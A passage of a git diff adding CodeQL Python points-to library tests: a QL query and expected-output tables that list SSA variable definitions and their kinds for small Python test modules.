k_getsetattr.py:0 | __name___0 = ScopeEntryDefinition | +| k_getsetattr.py:0 | __package___0 = ScopeEntryDefinition | +| k_getsetattr.py:4 | C_0 = ClassExpr | +| k_getsetattr.py:6 | meth1_0 = FunctionExpr | +| k_getsetattr.py:6 | self_0 = ParameterDefinition | +| k_getsetattr.py:7 | self_1 = ArgumentRefinement(self_0) | +| k_getsetattr.py:8 | self_2 = ArgumentRefinement(self_1) | +| k_getsetattr.py:9 | self_3 = ArgumentRefinement(self_2) | +| k_getsetattr.py:10 | self_4 = ArgumentRefinement(self_3) | +| k_getsetattr.py:12 | meth2_0 = FunctionExpr | +| k_getsetattr.py:12 | self_0 = ParameterDefinition | +| k_getsetattr.py:13 | self_1 = ArgumentRefinement(self_0) | +| k_getsetattr.py:14 | self_2 = ArgumentRefinement(self_1) | +| k_getsetattr.py:15 | self_3 = SelfCallsiteRefinement(self_2) | +| k_getsetattr.py:16 | self_4 = ArgumentRefinement(self_3) | +| k_getsetattr.py:17 | self_5 = ArgumentRefinement(self_4) | +| k_getsetattr.py:18 | self_6 = ArgumentRefinement(self_5) | +| k_getsetattr.py:21 | C_1 = ScopeEntryDefinition | +| k_getsetattr.py:21 | cond_0 = ParameterDefinition | +| k_getsetattr.py:21 | k_0 = FunctionExpr | +| k_getsetattr.py:22 | c1_0 = C() | +| k_getsetattr.py:23 | c2_0 = C() | +| k_getsetattr.py:24 | c3_0 = C() | +| k_getsetattr.py:25 | c1_1 = AttributeAssignment 'a'(c1_0) | +| k_getsetattr.py:27 | c2_1 = AttributeAssignment 'a'(c2_0) | +| k_getsetattr.py:27 | cond_1 = Pi(cond_0) [true] | +| k_getsetattr.py:28 | c2_2 = phi(c2_0, c2_1) | +| k_getsetattr.py:28 | cond_2 = Pi(cond_0) [false] | +| k_getsetattr.py:28 | cond_3 = phi(cond_1, cond_2) | +| k_getsetattr.py:31 | c3_1 = AttributeAssignment 'a'(c3_0) | +| n_nesting.py:0 | D_0 = ScopeEntryDefinition | +| n_nesting.py:0 | __name___0 = ScopeEntryDefinition | +| n_nesting.py:0 | __package___0 = ScopeEntryDefinition | +| n_nesting.py:8 | C_0 = ScopeEntryDefinition | +| n_nesting.py:8 | compile_ops_0 = ParameterDefinition | +| n_nesting.py:8 | foo_0 = FunctionExpr | +| n_nesting.py:9 | C_1 = CallsiteRefinement(C_0) | +| n_nesting.py:9 | compile_ops_1 = ArgumentRefinement(compile_ops_0) | +| n_nesting.py:10 | C_5 = ScopeEntryDefinition | +| n_nesting.py:10 | compile_ops_2 = Pi(compile_ops_1) [true] | +| n_nesting.py:10 | compile_ops_3 = ScopeEntryDefinition | +| n_nesting.py:10 | inner_0 = FunctionExpr | +| n_nesting.py:10 | node_def_0 = ParameterDefinition | +| n_nesting.py:11 | C_6 = CallsiteRefinement(C_5) | +| n_nesting.py:11 | node_def_1 = ArgumentRefinement(node_def_0) | +| n_nesting.py:13 | C_7 = ScopeEntryDefinition | +| n_nesting.py:13 | compile_ops_4 = Pi(compile_ops_1) [false] | +| n_nesting.py:13 | compile_ops_5 = ScopeEntryDefinition | +| n_nesting.py:13 | inner_1 = FunctionExpr | +| n_nesting.py:13 | node_def_0 = ParameterDefinition | +| n_nesting.py:14 | C_8 = CallsiteRefinement(C_7) | +| n_nesting.py:14 | node_def_1 = ArgumentRefinement(node_def_0) | +| n_nesting.py:15 | attrs_0 = Dict | +| n_nesting.py:16 | compile_ops_6 = phi(compile_ops_2, compile_ops_4) | +| n_nesting.py:16 | inner_2 = phi(inner_0, inner_1) | +| n_nesting.py:22 | C_9 = ScopeEntryDefinition | +| n_nesting.py:22 | f1_0 = FunctionExpr | +| n_nesting.py:23 | C_10 = AttributeAssignment 'flag'(C_9) | +| n_nesting.py:24 | C_11 = ScopeEntryDefinition | +| n_nesting.py:24 | f1_1 = ScopeEntryDefinition | +| n_nesting.py:24 | f2_0 = FunctionExpr | +| n_nesting.py:25 | C_12 = CallsiteRefinement(C_11) | +| n_nesting.py:26 | C_13 = ScopeEntryDefinition | +| n_nesting.py:26 | f2_1 = ScopeEntryDefinition | +| n_nesting.py:26 | f3_0 = FunctionExpr | +| n_nesting.py:27 | C_14 = CallsiteRefinement(C_13) | +| n_nesting.py:28 | C_15 = ScopeEntryDefinition | +| n_nesting.py:28 | f3_1 = ScopeEntryDefinition | +| n_nesting.py:28 | f4_0 = FunctionExpr | +| n_nesting.py:29 | C_16 = CallsiteRefinement(C_15) | +| n_nesting.py:30 | C_2 = ClassExpr | +| n_nesting.py:31 | C_3 = CallsiteRefinement(C_2) | +| n_nesting.py:32 | D_1 = ClassExpr | +| n_nesting.py:34 | C_4 = IntegerLiteral | +| r_regressions.py:0 | TestFirst_0 = ScopeEntryDefinition | +| r_regressions.py:0 | __name___0 = ScopeEntryDefinition | +| r_regressions.py:0 | __package___0 = ScopeEntryDefinition | +| r_regressions.py:0 | _names_0 = ScopeEntryDefinition | +| r_regressions.py:0 | _names_3 = Pi(_names_1) [false] | +| r_regressions.py:0 | _names_4 = phi(_names_2, _names_3) | +| r_regressions.py:0 | sys_0 = ScopeEntryDefinition | +| r_regressions.py:0 | t_0 = ScopeEntryDefinition | +| r_regressions.py:0 | t_2 = phi(t_0, t_1) | +| r_regressions.py:5 | Queue_0 = ClassExpr | +| r_regressions.py:7 | __init___0 = FunctionExpr | +| r_regressions.py:7 | self_0 = ParameterDefinition | +| r_regressions.py:9 | self_1 = SelfCallsiteRefinement(self_0) | +| r_regressions.py:11 | _after_fork_0 = FunctionExpr | +| r_regressions.py:11 | self_0 = ParameterDefinition | +| r_regressions.py:12 | self_1 = AttributeAssignment '_closed'(self_0) | +| r_regressions.py:13 | self_2 = AttributeAssignment '_close'(self_1) | +| r_regressions.py:15 | close_0 = FunctionExpr | +| r_regressions.py:15 | close_4 = Pi(close_0) [false] | +| r_regressions.py:15 | close_5 = phi(close_3, close_4) | +| r_regressions.py:15 | self_0 = ParameterDefinition | +| r_regressions.py:15 | self_3 = phi(self_1, self_2) | +| r_regressions.py:16 | self_1 = AttributeAssignment '_closed'(self_0) | +| r_regressions.py:20 | close_0 = Attribute | +| r_regressions.py:20 | close_1 = Attribute | +| r_regressions.py:21 | close_2 = SingleSuccessorGuard(close_1) [true] | +| r_regressions.py:22 | close_3 = Pi(close_0) [true] | +| r_regressions.py:22 | self_2 = AttributeAssignment '_close'(self_1) | +| r_regressions.py:27 | f_0 = FunctionExpr | +| r_regressions.py:27 | x_0 = ParameterDefinition | +| r_regressions.py:27 | x_5 = phi(x_3, x_4) | +| r_regressions.py:27 | y_0 = ParameterDefinition | +| r_regressions.py:27 | y_7 = Pi(y_2) [false] | +| r_regressions.py:27 | y_8 = phi(y_3, y_6, y_7) | +| r_regressions.py:27 | z_0 = ParameterDefinition | +| r_regressions.py:27 | z_3 = Pi(z_0) [false] | +| r_regressions.py:27 | z_4 = phi(z_0, z_2, z_3) | +| r_regressions.py:31 | x_1 = Pi(x_0) [true] | +| r_regressions.py:33 | x_2 = Pi(x_0) [false] | +| r_regressions.py:33 | x_3 = phi(x_1, x_2) | +| r_regressions.py:33 | y_1 = Pi(y_0) [false] | +| r_regressions.py:33 | y_2 = phi(y_0, y_1) | +| r_regressions.py:36 | y_3 = Pi(y_2) [true] | +| r_regressions.py:39 | x_4 = phi(x_1, x_3) | +| r_regressions.py:39 | y_4 = Pi(y_0) [true] | +| r_regressions.py:39 | y_5 = phi(y_3, y_4) | +| r_regressions.py:39 | y_6 = ArgumentRefinement(y_5) | +| r_regressions.py:39 | z_1 = Pi(z_0) [true] | +| r_regressions.py:39 | z_2 = phi(z_0, z_1) | +| r_regressions.py:42 | find_library_0 = FunctionExpr | +| r_regressions.py:42 | name_0 = ParameterDefinition | +| r_regressions.py:43 | __0 = ... | +| r_regressions.py:43 | data_0 = ... | +| r_regressions.py:46 | fail_0 = FunctionExpr | +| r_regressions.py:46 | msg_0 = ParameterDefinition | +| r_regressions.py:49 | C_0 = ClassExpr | +| r_regressions.py:51 | fail_0 = FunctionExpr | +| r_regressions.py:51 | fail_1 = ScopeEntryDefinition | +| r_regressions.py:51 | msg_0 = ParameterDefinition | +| r_regressions.py:51 | self_0 = ParameterDefinition | +| r_regressions.py:52 | msg_1 = ArgumentRefinement(msg_0) | +| r_regressions.py:58 | decorator_0 = ParameterDefinition | +| r_regressions.py:58 | method_decorator_0 = FunctionExpr | +| r_regressions.py:58 | name_0 = ParameterDefinition | +| r_regressions.py:61 | _dec_0 = FunctionExpr | +| r_regressions.py:61 | func_0 = ScopeEntryDefinition | +| r_regressions.py:61 | is_class_6 = phi(is_class_4, is_class_5) | +| r_regressions.py:61 | name_1 = ScopeEntryDefinition | +| r_regressions.py:61 | obj_0 = ParameterDefinition | +| r_regressions.py:61 | obj_3 = phi(obj_1, obj_2) | +| r_regressions.py:62 | is_class_0 = isinstance() | +| r_regressions.py:62 | obj_1 = ArgumentRefinement(obj_0) | +| r_regressions.py:64 | is_class_1 = Pi(is_class_0) [true] | +| r_regressions.py:66 | func_1 = obj | +| r_regressions.py:66 | is_class_2 = Pi(is_class_0) [false] | +| r_regressions.py:68 | _wrapper_0 = FunctionExpr | +| r_regressions.py:68 | args_0 = ParameterDefinition | +| r_regressions.py:68 | func_2 = phi(func_0, func_1) | +| r_regressions.py:68 | is_class_3 = phi(is_class_1, is_class_2) | +| r_regressions.py:68 | kwargs_0 = ParameterDefinition | +| r_regressions.py:68 | self_0 = ParameterDefinition | +| r_regressions.py:73 | is_class_4 = Pi(is_class_3) [true] | +| r_regressions.py:73 | obj_2 = ArgumentRefinement(obj_1) | +| r_regressions.py:76 | is_class_5 = Pi(is_class_3) [false] | +| r_regressions.py:80 | deco_0 = FunctionExpr | +| r_regressions.py:80 | func_0 = ParameterDefinition | +| r_regressions.py:81 | _wrapper_0 = FunctionExpr | +| r_regressions.py:81 | args_0 = ParameterDefinition | +| r_regressions.py:81 | kwargs_0 = ParameterDefinition | +| r_regressions.py:85 | deco_1 = ArgumentRefinement(deco_0) | +| r_regressions.py:86 | TestFirst_1 = method_decorator()() | +| r_regressions.py:87 | method_0 = FunctionExpr | +| r_regressions.py:87 | self_0 = ParameterDefinition | +| r_regressions.py:93 | sys_1 = ImportExpr | +| r_regressions.py:95 | _names_1 = Attribute | +| r_regressions.py:98 | _names_2 = Pi(_names_1) [true] | +| r_regressions.py:98 | t_1 = ImportExpr | +| s_scopes.py:0 | __name___0 = ScopeEntryDefinition | +| s_scopes.py:0 | __package___0 = ScopeEntryDefinition | +| s_scopes.py:0 | float_0 = ScopeEntryDefinition | +| s_scopes.py:0 | x_0 = ScopeEntryDefinition | +| s_scopes.py:4 | float_1 = True | +| s_scopes.py:5 | float_2 = phi(float_0, float_1) | +| s_scopes.py:7 | C2_0 = ClassExpr | +| s_scopes.py:7 | float_0 = ScopeEntryDefinition | +| s_scopes.py:7 | float_3 = ScopeEntryDefinition | +| s_scopes.py:7 | int_0 = ScopeEntryDefinition | +| s_scopes.py:7 | str_0 = ScopeEntryDefinition | +| s_scopes.py:9 | i1_0 = int | +| s_scopes.py:10 | f1_0 = float | +| s_scopes.py:12 | int_1 = IntegerLiteral | +| s_scopes.py:15 | str_1 = FloatLiteral | +| s_scopes.py:17 | float_1 = None | +| s_scopes.py:18 | float_2 = phi(float_0, float_1) | +| s_scopes.py:18 | i2_0 = int | +| s_scopes.py:18 | str_2 = phi(str_0, str_1) | +| s_scopes.py:19 | s_0 = str | +| s_scopes.py:20 | f2_0 = float | +| s_scopes.py:22 | x_1 = x | +| s_scopes.py:23 | i_0 = int | +| s_scopes.py:24 | f_0 = float | diff --git a/python/ql/test/library-tests/PointsTo/new/Dataflow.ql b/python/ql/test/library-tests/PointsTo/new/Dataflow.ql new file mode 100755 index 00000000000..1761c3bc4ab --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Dataflow.ql @@ -0,0 +1,8 @@ + + +import python +import Util + +from EssaVariable v, EssaDefinition def +where def = v.getDefinition() +select locate(def.getLocation(), "abdefghijknrs_"), v.getRepresentation() + " = " + def.getRepresentation() diff --git a/python/ql/test/library-tests/PointsTo/new/Definitions.expected b/python/ql/test/library-tests/PointsTo/new/Definitions.expected new file mode 100644 index 00000000000..f6576b569fc --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Definitions.expected @@ -0,0 +1,428 @@ +| a_simple.py:0 | Global Variable __name__ | ScopeEntryDefinition | +| a_simple.py:0 | Global Variable __package__ | ScopeEntryDefinition | +| a_simple.py:2 | Global Variable f1 | AssignmentDefinition | +| a_simple.py:5 | Global Variable i1 | AssignmentDefinition | +| a_simple.py:6 | Global Variable s | AssignmentDefinition | +| a_simple.py:8 | Global Variable func | AssignmentDefinition | +| a_simple.py:11 | Global Variable C | AssignmentDefinition | +| a_simple.py:14 | Global Variable vararg_kwarg | AssignmentDefinition | +| a_simple.py:14 | Local Variable d | ParameterDefinition | +| a_simple.py:14 | Local Variable t | ParameterDefinition | +| a_simple.py:18 | Global Variable multi_loop | AssignmentDefinition | +| a_simple.py:18 | Local Variable seq | ParameterDefinition | +| a_simple.py:18 | Local Variable y | ScopeEntryDefinition | +| a_simple.py:19 | Local Variable x | AssignmentDefinition | +| a_simple.py:20 | Local Variable x | MultiAssignmentDefinition | +| a_simple.py:20 | Local Variable x | PhiFunction | +| a_simple.py:20 | Local Variable y | MultiAssignmentDefinition | +| a_simple.py:20 | Local Variable y | PhiFunction | +| a_simple.py:23 | Global Variable with_definition | AssignmentDefinition | +| a_simple.py:23 | Local Variable x | ParameterDefinition | +| a_simple.py:24 | Local Variable y | WithDefinition | +| a_simple.py:27 | Global Variable multi_loop_in_try | AssignmentDefinition | +| a_simple.py:27 | Local Variable p | ScopeEntryDefinition | +| a_simple.py:27 | Local Variable q | ScopeEntryDefinition | +| a_simple.py:27 | Local Variable x | ParameterDefinition | +| a_simple.py:29 | Local Variable p | MultiAssignmentDefinition | +| a_simple.py:29 | Local Variable p | PhiFunction | +| a_simple.py:29 | Local Variable q | MultiAssignmentDefinition | +| a_simple.py:29 | Local Variable q | PhiFunction | +| a_simple.py:34 | Global Variable f | AssignmentDefinition | +| a_simple.py:34 | Local Variable args | ParameterDefinition | +| a_simple.py:34 | Local Variable kwargs | ParameterDefinition | +| b_condition.py:0 | Global Variable __name__ | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable __package__ | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable double_attr_check | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable g | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable h | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable k | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable loop | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable not_or_not | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable odasa6261 | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable split_bool1 | ScopeEntryDefinition | +| b_condition.py:0 | Global Variable v2 | ScopeEntryDefinition | +| b_condition.py:4 | Global Variable f | AssignmentDefinition | +| b_condition.py:4 | Local Variable y | ParameterDefinition | +| b_condition.py:5 | Local Variable x | AssignmentDefinition | +| b_condition.py:8 | Local Variable x | AssignmentDefinition | +| b_condition.py:9 | Local Variable x | PhiFunction | +| b_condition.py:9 | Local Variable x | PyEdgeRefinement | +| b_condition.py:11 | Local Variable x | AssignmentDefinition | +| b_condition.py:14 | Local Variable x | AssignmentDefinition | +| b_condition.py:15 | Local Variable x | PhiFunction | +| b_condition.py:15 | Local Variable x | PyEdgeRefinement | +| b_condition.py:17 | Local Variable x | AssignmentDefinition | +| b_condition.py:20 | Local Variable x | AssignmentDefinition | +| b_condition.py:21 | Local Variable x | PhiFunction | +| b_condition.py:21 | Local Variable x | PyEdgeRefinement | +| b_condition.py:23 | Local Variable x | AssignmentDefinition | +| b_condition.py:25 | Local Variable x | AssignmentDefinition | +| b_condition.py:25 | Local Variable x | PyEdgeRefinement | +| b_condition.py:26 | Local Variable x | ArgumentRefinement | +| b_condition.py:28 | Local Variable x | AssignmentDefinition | +| b_condition.py:29 | Local Variable x | PhiFunction | +| b_condition.py:31 | Local Variable x | AssignmentDefinition | +| b_condition.py:33 | Local Variable x | AssignmentDefinition | +| b_condition.py:34 | Local Variable x | ArgumentRefinement | +| b_condition.py:34 | Local Variable x | PhiFunction | +| b_condition.py:34 | Local Variable x | PyEdgeRefinement | +| b_condition.py:36 | Local Variable x | ArgumentRefinement | +| b_condition.py:36 | Local Variable x | PyEdgeRefinement | +| b_condition.py:37 | Local Variable x | ArgumentRefinement | +| b_condition.py:39 | Global Variable v2 | AssignmentDefinition | +| b_condition.py:41 | Global Variable v2 | AttributeAssignment | +| b_condition.py:43 | Global Variable v2 | PyEdgeRefinement | +| b_condition.py:47 | Global Variable v2 | PhiFunction | +| b_condition.py:47 | Global Variable v2 | PyEdgeRefinement | +| b_condition.py:50 | Global Variable g | AssignmentDefinition | +| b_condition.py:50 | Local Variable x | ParameterDefinition | +| b_condition.py:50 | Local Variable x | PhiFunction | +| b_condition.py:50 | Local Variable x | PyEdgeRefinement | +| b_condition.py:52 | Local Variable x | PyEdgeRefinement | +| b_condition.py:55 | Global Variable loop | AssignmentDefinition | +| b_condition.py:55 | Local Variable seq | ParameterDefinition | +| b_condition.py:55 | Local Variable v | ScopeEntryDefinition | +| b_condition.py:56 | Local Variable v | IterationDefinition | +| b_condition.py:56 | Local Variable v | PhiFunction | +| b_condition.py:56 | Local Variable v | PyEdgeRefinement | +| b_condition.py:58 | Local Variable v | ArgumentRefinement | +| b_condition.py:58 | Local Variable v | PyEdgeRefinement | +| b_condition.py:61 | Global Variable double_attr_check | AssignmentDefinition | +| b_condition.py:61 | Local Variable x | ParameterDefinition | +| b_condition.py:61 | Local Variable x | PhiFunction | +| b_condition.py:61 | Local Variable x | PyEdgeRefinement | +| b_condition.py:61 | Local Variable y | ParameterDefinition | +| b_condition.py:61 | Local Variable y | PhiFunction | +| b_condition.py:61 | Local Variable y | PyEdgeRefinement | +| b_condition.py:63 | Local Variable x | PyEdgeRefinement | +| b_condition.py:64 | Local Variable x | PyEdgeRefinement | +| b_condition.py:65 | Local Variable y | PyEdgeRefinement | +| b_condition.py:66 | Local Variable x | PyEdgeRefinement | +| b_condition.py:67 | Local Variable x | PyEdgeRefinement | +| b_condition.py:69 | Global Variable h | AssignmentDefinition | +| b_condition.py:70 | Local Variable b | AssignmentDefinition | +| b_condition.py:72 | Local Variable b | AssignmentDefinition | +| b_condition.py:73 | Local Variable b | PhiFunction | +| b_condition.py:73 | Local Variable b | PyEdgeRefinement | +| b_condition.py:75 | Global Variable k | AssignmentDefinition | +| b_condition.py:76 | Local Variable t | AssignmentDefinition | +| b_condition.py:78 | Local Variable t | AssignmentDefinition | +| b_condition.py:79 | Local Variable t | ArgumentRefinement | +| b_condition.py:79 | Local Variable t | PhiFunction | +| b_condition.py:79 | Local Variable t | PyEdgeRefinement | +| b_condition.py:81 | Global Variable odasa6261 | AssignmentDefinition | +| b_condition.py:81 | Local Variable bar | PhiFunction | +| b_condition.py:81 | Local Variable bar | ScopeEntryDefinition | +| b_condition.py:81 | Local Variable foo | ParameterDefinition | +| b_condition.py:81 | Local Variable foo | PhiFunction | +| b_condition.py:81 | Local Variable foo | PyEdgeRefinement | +| b_condition.py:82 | Local Variable foo | ArgumentRefinement | +| b_condition.py:83 | Local Variable bar | AssignmentDefinition | +| b_condition.py:83 | Local Variable foo | PyEdgeRefinement | +| b_condition.py:83 | Local Variable foo | ScopeEntryDefinition | +| b_condition.py:87 | Global Variable split_bool1 | AssignmentDefinition | +| b_condition.py:87 | Local Variable x | ParameterDefinition | +| b_condition.py:87 | Local Variable y | ParameterDefinition | +| b_condition.py:88 | Local Variable x | PyEdgeRefinement | +| b_condition.py:90 | Local Variable x | PyEdgeRefinement | +| b_condition.py:90 | Local Variable x | SingleSuccessorGuard | +| b_condition.py:90 | Local Variable y | PyEdgeRefinement | +| b_condition.py:92 | Local Variable x | SingleSuccessorGuard | +| b_condition.py:93 | Local Variable y | ArgumentRefinement | +| b_condition.py:95 | Local Variable y | ArgumentRefinement | +| b_condition.py:96 | Local Variable y | SingleSuccessorGuard | +| b_condition.py:97 | Local Variable x | ArgumentRefinement | +| b_condition.py:99 | Local Variable x | ArgumentRefinement | +| b_condition.py:101 | Global Variable not_or_not | AssignmentDefinition | +| b_condition.py:101 | Local Variable a | ParameterDefinition | +| b_condition.py:102 | Local Variable a | ArgumentRefinement | +| b_condition.py:104 | Local Variable a | PyEdgeRefinement | +| b_condition.py:105 | Local Variable a | PyEdgeRefinement | +| b_condition.py:107 | Local Variable a | PyEdgeRefinement | +| d_globals.py:0 | Global Variable D | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable Ugly | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable X | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable __name__ | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable __package__ | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable dict | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable get_g4 | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable k | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable modinit | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable outer | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable redefine | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable set_g4 | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable set_g4_indirect | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable tuple | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable use_list_attribute | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable x | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable y | ScopeEntryDefinition | +| d_globals.py:0 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable dict | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable j | AssignmentDefinition | +| d_globals.py:2 | Global Variable tuple | ScopeEntryDefinition | +| d_globals.py:2 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:5 | Global Variable dict | AssignmentDefinition | +| d_globals.py:7 | Global Variable tuple | AssignmentDefinition | +| d_globals.py:14 | Global Variable g1 | AssignmentDefinition | +| d_globals.py:16 | Global Variable assign_global | AssignmentDefinition | +| d_globals.py:16 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:16 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:16 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:16 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:16 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:18 | Global Variable g1 | AssignmentDefinition | +| d_globals.py:23 | Global Variable g2 | AssignmentDefinition | +| d_globals.py:25 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:25 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:25 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:25 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:25 | Global Variable init | AssignmentDefinition | +| d_globals.py:25 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:27 | Global Variable g2 | AssignmentDefinition | +| d_globals.py:29 | Global Variable g1 | CallsiteRefinement | +| d_globals.py:29 | Global Variable g2 | CallsiteRefinement | +| d_globals.py:29 | Global Variable glob | CallsiteRefinement | +| d_globals.py:29 | Global Variable z | CallsiteRefinement | +| d_globals.py:33 | Global Variable g3 | AssignmentDefinition | +| d_globals.py:35 | Global Variable Ugly | AssignmentDefinition | +| d_globals.py:37 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:37 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:37 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:37 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:37 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:37 | Local Variable __init__ | AssignmentDefinition | +| d_globals.py:37 | Local Variable self | ParameterDefinition | +| d_globals.py:39 | Global Variable g3 | AssignmentDefinition | +| d_globals.py:41 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:41 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:41 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:41 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:41 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:41 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:41 | Local Variable meth | AssignmentDefinition | +| d_globals.py:41 | Local Variable self | ParameterDefinition | +| d_globals.py:46 | Global Variable x | AssignmentDefinition | +| d_globals.py:49 | Global Variable x | AssignmentDefinition | +| d_globals.py:51 | Global Variable x | PhiFunction | +| d_globals.py:52 | Global Variable y | AssignmentDefinition | +| d_globals.py:54 | Global Variable y | AssignmentDefinition | +| d_globals.py:59 | Global Variable y | PhiFunction | +| d_globals.py:62 | Global Variable X | AssignmentDefinition | +| d_globals.py:62 | Global Variable X | ScopeEntryDefinition | +| d_globals.py:62 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:62 | Global Variable y | ScopeEntryDefinition | +| d_globals.py:62 | Local Variable y | ScopeEntryDefinition | +| d_globals.py:63 | Local Variable y | AssignmentDefinition | +| d_globals.py:64 | Local Variable v4 | AssignmentDefinition | +| d_globals.py:70 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:70 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:70 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:70 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:70 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:70 | Global Variable k | AssignmentDefinition | +| d_globals.py:70 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:70 | Local Variable arg | ParameterDefinition | +| d_globals.py:73 | Global Variable g4 | AssignmentDefinition | +| d_globals.py:75 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable get_g4 | AssignmentDefinition | +| d_globals.py:75 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable set_g4 | ScopeEntryDefinition | +| d_globals.py:75 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:77 | Global Variable g1 | CallsiteRefinement | +| d_globals.py:77 | Global Variable g2 | CallsiteRefinement | +| d_globals.py:77 | Global Variable g3 | CallsiteRefinement | +| d_globals.py:77 | Global Variable g4 | CallsiteRefinement | +| d_globals.py:77 | Global Variable g4 | PyEdgeRefinement | +| d_globals.py:77 | Global Variable glob | CallsiteRefinement | +| d_globals.py:77 | Global Variable z | CallsiteRefinement | +| d_globals.py:78 | Global Variable g1 | PhiFunction | +| d_globals.py:78 | Global Variable g2 | PhiFunction | +| d_globals.py:78 | Global Variable g3 | PhiFunction | +| d_globals.py:78 | Global Variable g4 | PhiFunction | +| d_globals.py:78 | Global Variable g4 | PyEdgeRefinement | +| d_globals.py:78 | Global Variable glob | PhiFunction | +| d_globals.py:78 | Global Variable z | PhiFunction | +| d_globals.py:80 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable set_g4 | AssignmentDefinition | +| d_globals.py:80 | Global Variable set_g4_indirect | ScopeEntryDefinition | +| d_globals.py:80 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:81 | Global Variable g1 | CallsiteRefinement | +| d_globals.py:81 | Global Variable g2 | CallsiteRefinement | +| d_globals.py:81 | Global Variable g3 | CallsiteRefinement | +| d_globals.py:81 | Global Variable g4 | CallsiteRefinement | +| d_globals.py:81 | Global Variable glob | CallsiteRefinement | +| d_globals.py:81 | Global Variable z | CallsiteRefinement | +| d_globals.py:83 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:83 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:83 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:83 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:83 | Global Variable set_g4_indirect | AssignmentDefinition | +| d_globals.py:83 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:85 | Global Variable g4 | AssignmentDefinition | +| d_globals.py:87 | Global Variable modinit | AssignmentDefinition | +| d_globals.py:92 | Global Variable modinit | DeletionDefinition | +| d_globals.py:95 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:95 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:95 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:95 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:95 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:95 | Global Variable outer | AssignmentDefinition | +| d_globals.py:95 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:96 | Global Variable g1 | 